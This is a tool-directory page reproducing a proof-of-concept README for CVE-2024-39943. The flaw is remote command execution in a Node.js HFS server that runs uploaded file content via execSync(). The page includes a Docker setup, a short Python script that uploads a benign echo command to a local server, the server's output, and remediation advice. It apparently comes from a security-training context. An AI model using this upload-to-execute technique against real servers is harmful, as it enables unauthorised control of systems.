Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Node.js-CVE-2024-39943 — Proof-of-concept exploit for CVE-2024-39943, demonstrating remote code execution via file upload in a Node.js HFS server using child_process.execSync(). | Kitploit
Tools/GitHubGitHub/jenmrr/node.js-cve-2024-39943
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjenmrr/node.js-cve-2024-39943

Node.js-CVE-2024-39943

Proof-of-concept exploit for CVE-2024-39943, demonstrating remote code execution via file upload in a Node.js HFS server using child_process.execSync().

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Node.js HFS Command Execution Vulnerability (CVE-2024-39943)

White Hat School 3rd – Jeongmin Noh (@JenmrR)


Summary

In a Node.js-based HFS server environment, there is a vulnerability where the content of an uploaded file is executed via child_process.execSync().
An attacker can directly execute OS commands through the file upload feature, and can check the results of internal server commands or control the system.
This vulnerability corresponds to CVE-2024-39943 and poses a threat equivalent to command injection (Remote Code Execution).


Environment Setup and Execution

  1. Run the server using Docker environment
  2. The server receives file uploads at the /upload path and executes the uploaded file content as a command
  3. The attacker can achieve RCE through upload

Execution Flow

root@kitploit:~
$ sudo docker-compose up --build -d
root@kitploit:~
$ python3 poc.py

poc.py

root@kitploit:~
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

Result

Server response after PoC execution:

root@kitploit:~
Executed:
Hello_From_Hacked_Server

poc-result


Conclusion

  • This vulnerability is a typical RCE (Remote Command Execution) vulnerability that occurs when external input is executed as an OS command.
  • The method of directly executing uploaded file content via execSync() poses a serious security risk.
  • User input must always be validated and should never be executed directly on the server.

Download Tool